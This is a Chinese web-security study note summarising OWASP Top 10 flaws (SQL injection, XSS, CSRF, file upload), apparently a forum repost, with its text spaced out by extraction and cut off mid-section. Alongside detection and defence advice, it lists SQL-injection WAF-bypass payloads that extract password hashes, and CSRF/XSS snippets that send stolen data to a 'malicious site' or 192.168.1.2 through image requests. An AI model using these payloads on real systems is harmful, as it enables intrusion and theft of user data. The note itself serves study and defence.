搜索

[17962] 2021-04-15_【网络安全web学习系列】（一）-OWASP_top_10漏洞的总结笔记

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2021-04-15_【网络安全web学习系列】（一）-OWASP_top_10漏洞的总结笔记 【 网 络 安 全 w e b 学 习 系 列 】 （ 一 ） - O W A S P _ t o p _ 1 0 漏 洞 的 总 结 笔 记 H a c k i n g 黑 白 红   2 0 2 1 - 0 4 - 1 5 这 里 简 单 地 写 一 些 关 于 O W A S P   t o p   1 0   漏 洞 的 一 些 利 用 技 巧 以 及 检 测 方 法 、 防 御 方 法 等 的 笔 记 （ 很 多 是 参 考 了 《 W e b 漏 洞 讲 解 》 ） ， 有 新 的 理 解 和 学 会 好 的 方 法 之 后 会 更 新 ~ 同 时 也 希 望 各 位 大 牛 给 给 建 议 ~ 划 重 点 划 重 点 ▶   S Q L   I n j e c t i o n & B l i n d   S Q L   I n j e c t i o n （ S Q L 注 入 与 S Q L 盲 注 漏 洞 ） ： 一 、 绕 过 W A F 的 方 法 ： 二 、 检 测 方 法 ： 三 、 防 御 方 法 ： ▶   三 种 类 型 的 X S S （ 跨 站 脚 本 ） ：   一 、 检 测 方 法 ： 二 、 防 御 方 法 ：   ▶   C S R F （ 跨 站 伪 造 请 求 ） ： 一 、 C S R F 攻 击 获 取 数 据 的 方 法 ： 二 、 检 测 方 法 ： 三 、 防 御 方 法 ： ▶ F i l e   U p l o a d （ 文 件 上 传 漏 洞 ） ： 一 、 文 件 上 传 攻 击 分 类 ： 二 、 上 传 文 件 中 的 解 析 攻 击 ： 三 、 检 测 方 法 ： 四 、 防 御 方 法 ： ▶ F i l e   I n c l u d e （ 文 件 包 含 漏 洞 ） ： 一 、 文 件 包 含 漏 洞 的 利 用 技 巧 ： 二 、 检 测 方 法 ： 三 、 防 御 方 法 ： ▶   I n s e c u r e   C a p t c h a （ 不 安 全 的 验 证 码 ） ： 一 、 原 理 过 程 ： 二 、 验 证 码 的 安 全 问 题 ： 三 、 检 测 方 法 ： 四 、 防 御 方 法 ： ▶   C o m m a n d   I n j e c t i o n （ 命 令 注 入 漏 洞 ） ： 一 、 P H P 与 命 令 执 行 漏 洞 相 关 的 函 数 ： 二 、 绕 过 d i s a b l e _ f u n c t i o n s 的 方 法 ： 三 、 检 测 方 法 ： 四 、 防 御 方 法 ： ▶   B r u t e   F o r c e （ 暴 力 破 解 ） ： 一 、 暴 力 破 解 分 类 ： 二 、 检 测 方 法 ： 三 、 防 御 方 法 ： S Q L   I n j e c t i o n & B l i n d   S Q L   I n j e c t i o n （ （ S Q L 注 入 与 注 入 与 S Q L 盲 注 漏 洞 ） ： 盲 注 漏 洞 ） ： 一 、 绕 过 W A F 的 方 法 ： 1 .   大 小 写 绕 过 2 .   简 单 编 码 绕 过 3 .   注 释 绕 过 ：
如 ? i d = 1   u n i / * * / o n   s e l e / * * / c t   1 , 2 , 3   #   4 .   分 隔 重 写 绕 过 ： 适 用 于 W A F 采 用 正 则 表 达 式 检 测 所 有 的 敏 感 字 的 情 况 ， 可 以 通 过 注 释 分 开 敏 感 字 ， 如 ? i d = 1   u n / / i o n   s e l / / e c t   1 , 2 , 3   # ； 至 于 重 写 绕 过 ， 适 用 于 W A F 过 滤 了 一 次 的 情 况 ， 如 u n i u n i o n o n ， 有 时 候 可 能 还 有 多 次 过 滤 的 情 况 ， 这 时 多 次 尝 试 也 可 以 。 5 .   H T T P 参 数 污 染 ( H P P ) ：   如 ? i d = 1   u n i o n   s e l e c t   1 , 2 , 3   f r o m   u s e r s   w h e r e   i d = 1   #   这 时 可 以 改 为 ? i d = 1   u n i o n   s e l e c t   1 & i d = 2 , 3   f r o m   u s e r s   w h e r e   i d = 1   #   次 数 & i d = 会 在 查 询 时 变 成 逗 号 ， 具 体 细 节 取 决 于   W A F   ； 这 个 例 子 也 同 理 ： ? i d = 1 / * / u n i o n / & i d = / s e l e c t / & i d = / p w d / & i d = / f r o m / & i d = * / u s e r s   #   如 果 服 务 器 代 码 为 ： s e l e c t   *   f r o m   t a b l e   w h e r e   a = ” . $ _ G E T [ ‘ a ’ ] . ”   a n d   b = ” . $ _ G E T [ ‘ b ’ ] . ”   l i m i t   “ . $ _ G E T [ ‘ c ’ ] ;   那 么 可 以 构 造 这 样 的 注 入 语 句 ： ? a = 1   u n i o n / & b = / s e l e c t   1 , p a s s / & c = / f r o m   u s e r s   #   最 终 解 析 为 ： s e l e c t   f r o m   t a b l e   w h e r e   a = 1   u n i o n /   a n d   b = / s e l e c t   1 , p a s s / l i m i t   * / f r o m u s e r s   #   可 以 看 到 ， 这 种 方 式 比 较 适 合 白 盒 测 试 。 6 .   使 用 逻 辑 运 算 符   o r   / a n d   绕 过 ： 如 ? i d = 1   o r   0 x 5 0 = 0 x 5 0   ? i d = 1   a n d   a s c i i ( l o w e r ( m i d ( ( s e l e c t   p w d   f r o m   u s e r s   l i m i t   1 , 1 ) , 1 , 1 ) ) ) = 7 4 ， 其 中 s e l e c t   p w d   f r o m   u s e r s   l i m i t   1 , 1 是 从   u s e r s   表 里 查 询   p w d   字 段 的 第 一 条 记 录 ，   然 后   m i d ( ) 就 是 取 该 记 录 的 第 一 个 字 符 ，   l o w e r ( ) 把 字 符 转 换 为 小 写 ，     a s c i i   把   该 字 符 转 换 成   a s c i i   码 ， 最 后 判 断 等 不 等 于   7 4 。 7 .   比 较 操 作 符 替 换 ： 比 较 操 作 符 如 ! = 、 < > 、 < 、 > 都 可 以 用 来 替 换 = 来 绕 过 。 8 .   同 功 能 函 数 替 换 ： s u b s t r i n g ( ) 可 以 用 m i d ( ) 、 s u b s t r ( ) 这 些 函 数 来 替 换 ， 都 是 用 来 取 字 符 串 的 某 一 位 字 符 的 ； a s c i i ( ) 编 码 可 以 用   h e x ( ) 、 b i n ( ) ， 即 十 六 进 制 和 二 进 制 编 码 替 换 ； 在 使 用 在 基 于 延 时 的 盲 注 中 b e n c h m a r k ( ) 和 s l e e p ( ) 可 以 相 互 替 换 ； g r o u p _ c o n c a t   、   c o n c a t   、 c o n c a t _ w s   三 者 可 以 互 相 替 换 ； 还 有 一 种 新 的 方 法   ， 3 条 语 句 分 别 如 下 s u b s t r i n g ( ( s e l e c t   ‘ p a s s w o r d ’ ) , 1 , 1 )   =   0 x 7 0 s u b s t r ( ( s e l e c t   ‘ p a s s w o r d ’ ) , 1 , 1 )   =   0 x 7 0 m i d ( ( s e l e c t   ‘ p a s s w o r d ’ ) , 1 , 1 )   =   0 x 7 0   都 是 从   p a s s w o r d   里 判 断 第 一 个 字 符 的 值 ， 可 以 用   s t r c m p ( l e f t ( ‘ p a s s w o r d ’ , 1 ) ,   0 x 6 9 )   =   1 s t r c m p ( l e f t ( ‘ p a s s w o r d ’ , 1 ) ,   0 x 7 0 )   =   0
s t r c m p ( l e f t ( ‘ p a s s w o r d ’ , 1 ) ,   0 x 7 1 )   =   - 1   替 换 ， l e f t   用 来 取 字 符 串 左 起   1   位 的 值 ， s t r c m p   用 来 比 较 两 个 值 ， 如 果 比 较 结 果 相 等 就 为   0 ， 左 边 小 的 话 就 为 - 1 ， 否 则 为 1 。 9 .   盲 注 无 需 o r 和 a n d ： 例 句 ： i n d e x . p h p ? i d = 1 当 a n d 和 o r 被 过 滤 时 ， 可 以 将   1 修 改 为 是 通 过 语 句 生 成 的 ，   i n d e x . p h p ? u i d = s t r c m p ( l e f t ( ( s e l e c t + h a s h + f r o m + u s e r s + l i m i t + 0 , 1 ) , 1 ) , 0 x 4 2 ) + 1 2 3 ， 1 2 3   的 时 候 页 面 是 正 确 的 ， 现 在 再 盲 猜   h a s h   的 第 一 位 ， 如 果 第 一 位 等 于   0 x 4 2   也 就 是   B ， 那 么 s t r c m p 结 果 为 0 ， 0 + 1 2 3 = 1 2 3 ， 所 以 页 面 应 该 是 正 确 的 。 否 则 就 说 明 不 是   B ， 就 这 样 猜 ， 不 用 a n d   和   o r   了 。 1 0 .   加 括 号 ： 如 ? i d = ( 1 ) u n i o n ( s e l e c t ( 1 ) , m i d ( h a s h , 1 , 3 2 ) f r o m ( u s e r s ) )       ? i d = ( 1 ) u n i o n ( ( ( ( ( ( ( s e l e c t ( 1 ) , h e x ( h a s h ) f r o m ( u s e r s ) ) ) ) ) ) ) ) ? i d = ( 1 ) o r ( 0 x 5 0 = 0 x 5 0 ) 1 1 . 缓 冲 区 溢 出 绕 过 ： 如 i d = 1   a n d   ( s e l e c t   1 ) = ( S e l e c t   0 x A A A A A A A A A A A A A A A A A A A A A ) + U n I o N + S e L e C T + 1 , 2 , v e r s i o n ( ) , 4 , 5 , d a t a b a s e ( ) , u s e r ( ) , 8 , 9 , 1 0   # 其 中   A   越 多 越 好 ， 一 般 要 求   1 0 0 0   个 以 上 。 二 、 检 测 方 法 ： 1 、 基 于 报 错 的 检 测 方 法 ： 使 用 各 种 符 号 以 及 组 合 ： ‘     “     (     % 如 直 接 在 U R L 后 添 加 单 引 号 看 是 否 报 错 i n d e x . p h p ? i d = 1 ' 2 、 基 于 布 尔 的 检 测 ： 最 常 用 的 如 1 ’   a n d   ‘ 1 ’ = ’ 1 和 1 ’   a n d   ‘ 1 ’ = ’ 2   相 当 于   1 ’   a n d   ‘ 1 和 1 ’   a n d   ‘ 0 当 返 回 的 结 果 不 同 时 即 有 漏 洞 3 、 直 接 在 U R L 地 址 后 面 加 - 1 、 - 0 、 ' % 2 B ' 和 ' % 2 B ' a ： 添 加 - 1 ： i n d e x . p h p ? i d = 1 2 3 - 1 ， 当 前 后 访 问 的 页 面 不 同 时 ， 即 可 确 定 存 在 数 字 型 S Q L 注 入 漏 洞 ； 添 加 - 0 ： i n d e x . p h p ? i d = 1 2 3 - 0 ， 当 前 后 访 问 的 页 面 相 同 时 ， 再 加 上 - 1 ， 返 回 错 误 页 面 ， 则 表 示 存 在 数 字 型 S Q L 注 入 漏 洞 ； 添 加 ' % 2 B ' 和 ' % 2 B ' a ： 这 里 % 2 B 为 ‘ + ’ 的 U R L 编 码 ， 当 先 添 加 ' % 2 B ' 时 i n d e x . p h p ? i d = 1 2 3 ' % 2 B ' 返 回 同 样 的 页 面 ， 而 添 加 ' % 2 B ' a 时 返 回 错 误 ， 这 种 适 用 于 S Q L 语 句 中 i d 值 被 一 对 单 引 号 括 起 来 的 情 况 。 4 、 判 断 盲 注 的 常 用 方 法 ：
1 ’   a n d   1 = 1   #     1 ’   a n d   1 = 2   #     判 断 这 两 种 不 同 的 输 入 是 否 有 不 一 样 的 显 示 ， 如 果 一 个 正 常 一 个 通 用 的 错 误 提 示 或 者 啥 也 不 显 示 ， 则 几 乎 可 以 确 定 是 含 有 S Q L 注 入 漏 洞 的 。 三 、 防 御 方 法 ： 关 键 是 对 所 有 用 户 的 输 入 进 行 严 格 的 检 查 过 滤 、 对 数 据 库 配 置 使 用 最 小 权 限 原 则 。 常 用 的 修 复 方 案 ： （ 1 ） 所 有 的 查 询 语 句 都 使 用 数 据 库 提 供 的 参 数 化 查 询 接 口 ， 参 数 化 的 语 句 使 用 参 数 而 不 是 将 用 户 输 入 变 量 嵌 入 到   S Q L   语 句 中 。 （ 2 ） 过 滤 危 险 的   S Q L   语 句 关 键 字 。 （ 3 ） 确 认 每 种 数 据 的 类 型 。 （ 4 ） 数 据 长 度 应 该 严 格 规 定 。 （ 5 ） 网 站 每 个 数 据 层 的 编 码 统 一 。 （ 6 ） 严 格 限 制 网 站 用 户 的 数 据 库 的 操 作 权 限 。 （ 7 ） 避 免 网 站 显 示   S Q L   错 误 信 息 。 （ 8 ） 在 网 站 发 布 之 前 建 议 使 用 一 些 专 业 的   S Q L   注 入 检 测 工 具 进 行 检 测 。 （ 9 ） 升 级   w e b   服 务 器 运 行 平 台 软 件 补 丁 ， 建 议 使 用   W A F   防 护 。 其 实 最 有 效 的 防 御 手 段 是 下 面 两 种 ： 1 、 预 编 译 ： 原 理 是 采 用 P r e p a r e d S t a t e m e n t 将 相 应 的 S Q L 语 句 预 先 编 译 好 ， 即 S Q L 引 擎 会 预 先 进 行 语 法 分 析 ， 产 生 语 法 树 ， 生 成 执 行 计 划 ， 从 而 无 论 用 户 输 入 什 么 内 容 即 使 是 s q l 命 令 都 不 会 影 响 该 S Q L 语 句 的 语 法 结 构 而 只 能 当 成 是 字 符 串 字 面 值 参 数 。 但 并 不 是 所 有 场 景 都 能 采 用 S Q L 预 编 译 的 ， 如 需 要 进 行 一 些 字 符 串 拼 接 的 方 式 ， 这 时 便 需 要 严 格 检 查 参 数 的 数 据 类 型 以 及 采 用 一 些 安 全 函 数 来 处 理 。 其 过 程 如 下 : （ 1 ） 定 义 预 编 译 的 s q l 语 句 ， 其 中 待 填 入 的 参 数 用 ? 占 位 。 （ 2 ） 创 建 预 编 译 S t a t e m e n t ， 并 把 s q l 语 句 传 入 。 此 时 s q l 语 句 已 与 此 p r e p a r e d S t a t e m e n t 绑 定 。 所 以 第 4 步 执 行 语 句 时 无 需 再 把 s q l 语 句 作 为 参 数 传 入 e x e c u t e ( ) 。 （ 3 ） 填 入 具 体 参 数 。 通 过 s e t X X ( 问 号 下 标 ， 数 值 ） 来 为 s q l 语 句 填 入 具 体 数 据 。 问 号 下 标 从 1 开 始 ， s e t X X 与 数 值 类 型 有 关 ， 字 符 串 就 是 s e t S t r i n g （ i n d e x ， s t r ） 。 （ 4 ） 执 行 预 处 理 对 象 。
例 子 ： S t r i n g   s q l = " s e l e c t   i d , n o   f r o m   u s e r   w h e r e   i d = ? " ; P r e p a r e d S t a t e m e n t   p s   =   c o n n . p r e p a r e S t a t e m e n t ( s q l ) ; p r e s t m t . s e t I n t ( 1 , i d ) ; p r e s t m t . e x e c u t e Q u e r y ( ) ; 2 、 变 量 绑 定 ： 是 指 在 s q l 语 句 的 条 件 中 使 用 变 量 而 不 是 常 量 ， 是 为 了 减 少 解 析 的 。 具 体 的 细 节 网 上 很 多 ， 后 面 再 补 充 。   三 种 类 型 的 三 种 类 型 的 X S S （ 跨 站 脚 本 ） ： （ 跨 站 脚 本 ） ： 一 、 检 测 方 法 ： 寻 找 脚 本 程 序 的 输 出 显 示 代 码 ， 搜 索 关 键 字 ， 显 示 输 出 那 个 变 量 ， 跟 踪 变 量 是 否 被 过 滤 。 可 以 先 输 入 一 些 内 容 ， 页 面 返 回 之 后 ， 可 以 查 看 网 页 源 代 码 ， 搜 索 内 容 关 键 字 看 看 是 不 是 直 接 返 回 在 页 面 的 H T M L 代 码 中 。 二 、 防 御 方 法 ：   1 、 调 用 函 数 ： 对 于 用 户 提 交 的 数 据 可 以 通 过 调 用 函 数 进 行 过 滤 ， h t m l s p e c i a l c h a r s ( ) 函 数 将 输 出 的 内 容 进 行 H T M L 的 编 码 ， 效 果 最 好 ； s t r _ r e p l a c e ( ) 函 数 可 以 将 指 定 的 字 符 串 转 换 为 其 他 字 符 串 的 ， 但 是 会 被 绕 过 。 2 、 使 用 X S S   F i l t e r ： （ 1 ） 输 入 过 滤 ： 输 入 验 证 （ 客 户 端 ） ： 前 端 J S 过 滤 ， 如 检 测 最 大 长 度 、 是 否 只 有 合 法 字 符 、 格 式 是 否 符 合 要 求 、 数 字 是 否 在 指 定 的 范 围 内 。 缺 点 就 是 容 易 被 修 改 掉 。 数 据 消 毒 （ 服 务 器 端 ） ： 过 滤 敏 感 字 符 （ 可 以 和 S Q L 注 入 的 一 同 过 滤 ） ， 如 <   >   j a v a s c r i p t   ‘   “   &   #   e x p r e s s i o n 等 。 （ 2 ）   输 出 编 码 （ 服 务 器 端 ） ： 可 以 使 用 H T M L 编 码 （ P H P 的 h t m l s p e c i a l c h a r s ( ) 函 数 、 A S P 的 S e r v e r . H T M L E n c o d e ( ) 函 数 、 A S P . N E T 的 S e r v e r . H t m l E n c o d e ( ) 函 数 ） ， 用 对 应 的 H T M L 实 体 替 代 字 面 量 字 符 ， 此 时 浏 览 器 会 将 恶 意 代 码 当 作 H T M L 文 档 的 内 容 而 不 是 结 构 加 以 处 理 。 常 见 恶 意 字 符 的 H T M L 编 码 （ 显 示 、 实 体 名 字 、 实 体 编 号 ） ： <     & l t ;     & # 6 0 ； >     & g t ;     & # 6 2 ； &     & a m p ;     & # 3 8 ； “     & q u o t ;     & # 3 4 ；
‘                     & # 3 9 ; 3 、 白 名 单 和 黑 名 单 结 合 4 、 N o s c r i p t ： F i r e f o x 的 一 款 免 费 的 开 源 插 件 ， 默 认 禁 止 所 有 脚 本 ， 但 是 可 以 通 过 自 定 义 设 置 允 许 通 过 的 脚 本 。 5 、 A n t i _ X S S ： 提 供 大 量 的 编 码 函 数 用 于 处 理 用 户 的 输 入 ， 实 现 白 名 单 机 制 和 输 出 转 义 6 、 H t t p O n l y ： 攻 击 者 通 过 X S S 漏 洞 执 行 J S 中 的 d o c u m e n t . c o o k i e 方 法 来 窃 取 用 户 的 c o o k i e 信 息 。 W e b 应 用 程 序 在 S e t - C o o k i e 时 将 其 属 性 设 为 H t t p O n l y 即 可 避 免 C o o k i e 被 客 户 端 J S 存 取 ， 也 可 以 保 护 用 户 的 C o o k i e 信 息 不 被 盗 取 。 P H P 设 置 H t t p O n l y 的 方 法 ： （ 1 ）   修 改 p h p . i n i 文 件 ， 设 置 其 值 为 1 或 T R U E ； （ 2 ）   s e t c o o k i e ( ) 函 数 和 s e t r a w c o o k i e ( ) 函 数 的 第 七 个 参 数 ； （ 3 ） 在 P H P 代 码 中 开 启 。 7 、 W e b 安 全 编 码 规 范 ： 对 敏 感 字 符 转 义 、 U R L 属 性 进 行 相 应 的 规 定 等 。 8 、 尽 量 使 用 W A F 9 、 防 御 D O M 型 X S S ： D O M 型 X S S 主 要 是 由 客 户 端 的 脚 本 通 过 D O M 动 态 地 输 出 数 据 到 页 面 而 不 是 依 赖 于 将 数 据 提 交 给 服 务 器 端 ， 而 从 客 户 端 获 得 D O M 中 的 数 据 在 本 地 执 行 ， 因 而 仅 从 服 务 器 端 是 无 法 防 御 的 。 其 防 御 在 于 ： （ 1 ）   避 免 客 户 端 文 档 重 写 、 重 定 向 或 其 他 敏 感 操 作 ， 同 时 避 免 使 用 客 户 端 数 据 ， 这 些 操 作 尽 量 在 服 务 器 端 使 用 动 态 页 面 来 实 现 ； （ 2 ）   分 析 和 强 化 客 户 端 J S 代 码 ， 特 别 是 受 到 用 户 影 响 的 D O M 对 象 ， 注 意 能 直 接 修 改 D O M 和 创 建 H T M L 文 件 的 相 关 函 数 或 方 法 ， 并 在 输 出 变 量 到 页 面 时 先 进 行 编 码 转 义 ， 如 输 出 到 H T M L 则 进 行 H T M L 编 码 、 输 出 到 < s c r i p t > 则 进 行 J S 编 码 。   C S R F （ 跨 站 伪 造 请 求 ） ： （ 跨 站 伪 造 请 求 ） ： 一 、 C S R F 攻 击 获 取 数 据 的 方 法 ： 要 获 取 的 关 键 数 据 ： 用 户   i d 、 用 户 昵 称 、 用 户   e m a i l 、 用 户 个 人 页 面 地 址 等 。 同 域 内   C S R F   攻 击 获 取 数 据 几 乎 没 任 何 限 制 。 跨 域   C S R F   攻 击 获 取 数 据 的 几 种 方 法 总 结 如 下 ： 1 、 X S S   2 、 服 务 端 代 理 技 术 3 、 J S O N   H i j a c i n g 4 、 F l a s h   A s c t i o n S c r i p t （ c r o s s d o m a i n . x m l ）
（ 1 ） X S S   获 取 数 据 ： 如 之 前 关 于 X S S 文 章 做 的 三 方 的 演 示 ， 使 用 目 标 站 点 上 的 X S S   漏 洞 ： < i f r a m e   w i d t h = 0   h e i g h t = 0   s r c = ‘ h t t p : / / 目 标 站 点 / s e a r c h . p h p ? k = “ > < s c r i p t   s r c = h t t p : / / 恶 意 站 点 / g e t . j s > < / s c r i p t > ’ > < / i f r a m e > 其 中 g e t . j s   的 代 码 为 ： / / u s e   D O M   m e t h o d   t o   g e t   y o u r   d a t a n e w   I m a g e ( ) .   s r c = ‘ h t t p : / / 恶 意 站 点 / a . p h p ? d a t a = ‘ + d a t a ; 恶 意 站 点 的   a . p h p   文 件 接 收 唯 一 标 识 等 数 据 ， 该 唯 一 标 识 可 以 是   u r l   中 的 或 是 目 标 站 点 u r l   对 应 的 内 容 中 的 。 这 样 受 害 者 就 会 访 问 到 第 三 方 的 恶 意 网 站 从 而 泄 露 信 息 。 （ 2 ） 使 用   J S O N   H i j a c k i n g 技 术 ： 目 标 站 点 使 用 了   J S O N   数 据 传 输 用 户 私 有 数 据 ， 其 中 包 含 需 要 的 唯 一 标 识 等 信 息 。 相 关 代 码 ： < s c r i p t >   f u n c t i o n   h i j a c k ( o ) { / / u s e   D O M   m e t h o d   t o   g e t   y o u r   d a t a n e w   I m a g e ( ) . s r c = " h t t p : / / 1 9 2 . 1 6 8 . 1 . 2 / J S O N H i J a c k . a s p ? h i = " + e s c a p e ( d a t a ) ; } < / s c r i p t > < s c r i p t   s r c = h t t p : / / a p i . f a n f o u . c o m / p r i v a t e _ m e s s a g e s / i n b o x . j s o n ? c a l l b a c k = h i j a c k & c o u n t = 2 > < / s c r i p t > 三 、 使 用 F l a s h   A c t i o n S c r i p t   脚 本 ： 前 提 是 目 标 站 点 下 存 在 c r o s s d o m a i n . x m l 文 件 ， 且 其 配 置 允 许 其 他 域 的   A S 脚 本 进 行 跨 域 请 求 。 < ? x m l   v e r s i o n = " 1 . 0 " ? > < c r o s s - d o m a i n - p o l i c y > < a l l o w - a c c e s s - f r o m   d o m a i n = " * "   / > < / c r o s s - d o m a i n - p o l i c y > 相 关 代 码 ： i m p o r t   f l a s h . n e t . * ;   v a r   _ l   =   n e w   U R L L o a d e r ( n e w   U R L R e q u e s t ( “ h t t p : / / 目 标 站 点 / " ) ) ; _ l . a d d E v e n t L i s t e n e r ( E v e n t . C O M P L E T E , f u n c t i o n ( ) { t e x t 1 . t e x t   =   _ l . d a t a } ) ; _ l . l o a d ( ) ;
二 、 检 测 方 法 ： 最 简 单 的 方 法 就 是 抓 取 一 个 正 常 请 求 的 数 据 包 ， 去 掉   R e f e r e r   字 段 后 再 重 新 提 交 ， 如 果 该 提 交 还 有 效 ， 那 么 基 本 上 可 以 确 定 存 在   C S R F   漏 洞 。 一 些 专 门 针 对   C S R F   漏 洞 进 行 检 测 的 工 具 ， 如 C S R F T e s t e r ， C S R F   R e q u e s t   B u i l d e r   等 。 以   C S R F T e s t e r   工 具 为 例 ， C S R F   漏 洞 检 测 工 具 的 测 试 原 理 如 下 ： 使 用   C S R F T e s t e r   进 行 测 试 时 ， 首 先 需 要 抓 取 我 们 在 浏 览 器 中 访 问 过 的 所 有 链 接 以 及 所 有 的 表 单 等 信 息 ， 然 后 通 过 在   C S R F T e s t e r   中 修 改 相 应 的 表 单 等 信 息 ， 重 新 提 交 ， 这 相 当 于 一 次 伪 造 客 户 端 请 求 。 如 果 修 改 后 的 测 试 请 求 成 功 被 网 站 服 务 器 接 受 ， 则 说 明 存 在 C S R F   漏 洞 ， 当 然 此 款 工 具 也 可 以 被 用 来 进 行   C S R F   攻 击 。 三 、 防 御 方 法 ： 1 、   服 务 端 的 防 御 ： 主 要 有   5   种 策 略 ： 验 证   H T T P 的 R e f e r e r 字 段 、 在 请 求 地 址 中 添 加   t o k e n   并 验 证 、 在   H T T P   头 中 自 定 义 属 性 并 验 证 、 使 用 P O S T 替 代 G E T 等 。 （ 1 ） 、 验 证   H T T P 的 R e f e r e r 字 段 ， 在   H T T P   头 的 R e f e r e r 字 段 记 录 了 该   H T T P   请 求 的 来 源 地 址 。 顺 便 解 决 了 非 法 盗 链 、 站 外 提 交 等 问 题 。 在 通 常 情 况 下 ， 访 问 一 个 安 全 受 限 页 面 的 请 求 必 须 来 自 于 同 一 个 网 站 。 （ 2 ） 、 在 请 求 地 址 中 添 加   t o k e n   并 验 证 ， 可 以 在   H T T P 请 求 中 以 参 数 的 形 式 加 入 一 个 随 机 产 生 的   t o k e n ， 并 在 服 务 器 端 建 立 一 个 拦 截 器 来 验 证 这 个 t o k e n ， 如 果 请 求 中 没 有   t o k e n   或 者   t o k e n   内 容 不 正 确 ， 则 认 为 可 能 是   C S R F   攻 击 而 拒 绝 该 请 求 。 抵 御 C S R F   攻 击 的 关 键 在 于 ： 在 请 求 中 加 入 攻 击 者 所 不 能 伪 造 的 信 息 ， 并 且 该 信 息 不 存 在 于   C o o k i e   之 中 。 （ 3 ） 、 在   H T T P   头 中 自 定 义 属 性 并 验 证 ， 也 是 使 用   t o k e n   并 进 行 验 证 ， 但 并 不 是 把   t o k e n 以 参 数 的 形 式 置 于   H T T P   请 求 而 是 放 到   H T T P   头 中 自 定 义 的 属 性 里 。 通 过 X M L H t t p R e q u e s t   这 个 类 ， 可 以 一 次 性 给 所 有 该 类 请 求 加 上   c s r f t o k e n   这 个   H T T P   头 属 性 ， 并 把 t o k e n   值 放 入 其 中 。 这 样 解 决 了 前 一 种 方 法 在 请 求 中 加 入   t o k e n   的 不 便 ， 同 时 ， 通 过 这 个 类 请 求 的 地 址 不 会 被 记 录 到 浏 览 器 的 地 址 栏 ， 也 不 用 担 心   t o k e n   会 通 过   R e f e r e r   泄 露 到 其 他 网 站 。 （ 4 ） 、 严 格 区 分 好   P O S T   与   G E T   的 数 据 请 求 ， 尽 量 使 用 P O S T 来 替 代 G E T ， 如 在   a s p   中 不 要 使 用   R e q u e s t   来 直 接 获 取 数 据 。 同 时 建 议 不 要 用   G E T   请 求 来 执 行 持 久 性 操 作 。 （ 5 ） 、 使 用 验 证 码 或 者 密 码 确 认 方 式 ， 缺 点 是 用 户 体 验 差 。 2 、   用 户 端 的 防 御 ： 用 户 的 安 全 意 识 与 良 好 的 上 网 习 惯 。 3 、   安 全 设 备 的 防 御 ： 有 些 厂 商 的 安 全 产 品 能 基 于 硬 件 层 面 对 H T T P   头 部 的   R e f e r e r   字 段 内 容 进 行 检 查 来 快 速 准 确 的 识 别 C S R F   攻 击 。   F i l e   U p l o a d （ 文 件 上 传 漏 洞 ） ： （ 文 件 上 传 漏 洞 ） ： 一 、 文 件 上 传 攻 击 分 类 ： 1 、 轻 量 级 检 测 绕 过 攻 击 ： （ 1 ） 绕 过 j a v a s c r i p t   对 扩 展 名 的 检 测 ： 使 用 B u r p s u i t e 等 反 向 代 理 工 具 直 接 P O S T 数 据 包 到 服 务 端 ， 绕 过 前 端 检 测 ， 如 D V W A 中 的 绕 过 示 例 。 （ 2 ） 绕 过 服 务 端 对 h t t p   r e q u e s t   包 M I M E   类 型 检 测 ： 使 用 B u r p s u i t e 等 反 向 代 理 工 具 伪 造 P O S T   数 据 包 到 服 务 端 ， 绕 过 M I M E 检 测 ， 如 D V W A 中 的 绕 过 示 例 。
2 、 文 件 内 容 检 测 绕 过 攻 击 ： 文 件 加 载 测 试 绕 过 ： 对 文 件 进 行 代 码 注 入 再 配 合 任 意 解 析 调 用 / 漏 洞 。 3 、 上 传 攻 击 框 架 漏 洞 分 层 以 及 路 径 / 扩 展 名 检 测 绕 过 攻 击 ：   轻 量 级 检 测 绕 过 攻 击 绕 过 J a v a S c r i p t 对 扩 展 名 的 检 测           代 码 层 漏 洞 绕 过 服 务 端 对 H T T P   r e q u e s t 包 M I M E 类 型 检 测             代 码 层 漏 洞 路 径 、 扩 展 名 检 测 绕 过 攻 击 4 、 文 件 内 容 检 测 绕 过 攻 击 ： 文 件 加 载 绕 过   ( 代 码 层 漏 洞 ) 攻 击 手 法 与 环 节 如 图 ：
二 、 上 传 文 件 中 的 解 析 攻 击 ：   1 、 直 接 解 析 （ 几 乎 没 有 防 御 ） ： 比 如 直 接 上 传 一 个 扩 展 名 是 . p h p   的 文 件 ， 只 需 要 简 单 地 绕 过 客 户 端 j a v a s c r i p t   检 测 或 者 服 务 端 M I M E   类 型 检 测 就 行 了 。 2 、 配 合 解 析 ( 有 一 定 程 度 的 防 御 ) ： 可 以 理 解 为 先 将 代 码 注 入 到 服 务 器 上 ， 上 传 一 个 带 有 一 句 话 木 马 的 图 片 或 文 件 ， 等 待 一 个 解 析 的 配 合 来 实 现 攻 击 。 ( 1 ) 、 本 地 文 件 包 含 解 析 ： 主 要 是 P H P 本 地 文 件 包 含 ( 2 ) 、 . h t a c c e s s 文 件 解 析 ( 3 ) 、 W e b 应 用 程 序 解 析 漏 洞 以 及 其 原 理 ： 1 . A p a c h e   解 析 漏 洞 ： 解 析 ： t e s t . p h p . a b c （ 其 中 a b c 为 任 意 不 属 于 黑 名 单 且 也 不 属 于 A p a c h e 解 析 白 名 单 的 名 称 ） 描 述 ： 一 个 文 件 名 为 x 1 . x 2 . x 3 的 文 件 ， A p a c h e   会 从 x 3 的 位 置 往 x 1 的 位 置 开 始 尝 试 解 析 ， 如 果 x 3 不 属 于 A p a c h e 能 解 析 的 扩 展 名 ， 那 么 A p a c h e 会 尝 试 去 解 析 x 2 的 位 置 ， 这 样                   一 直 往 前 尝 试 ， 直 到 遇 到 一 个 能 解 析 的 扩 展 名 为 止 。 2 . I I S   解 析 漏 洞 ： 解 析 ： t e s t . a s p / a b c   或   t e s t . a s p ; a b c   名   或   a b c / d e f . p h p   （ 其 中 a b c 、 d e f 都 为 任 意 文 件 名 ） 描 述 ： I I S 6 . 0 在 解 析 a s p 格 式 的 时 候 有 两 个 解 析 漏 洞 ， 一 个 是 如 果 目 录 名 包 含 " . a s p " 字 符 串 ， 那 么 这 个 目 录 下 所 有 的 文 件 都 会 按 照 a s p 去 解 析 ， 另 一 个 是 只 要 文 件 名 中 含 有 " . a s p ; " 会 优 先 按 a s p 来 解 析 ； I I S 7 . 0 / 7 . 5 是 对 p h p 解 析 时 有 一 个 类 似 于 N g i n x 的 解 析 漏 洞 ， 对 任 意 文 件 名 只 要 在 U R L   后 面 追 加 上 字 符 串 " / 任 意 文 件 名 . p h p " 就 会 按 照 p h p 的 方 式 去 解 析 。 3 . N g i n x   解 析 漏 洞 ：
回复

举报

高级模式
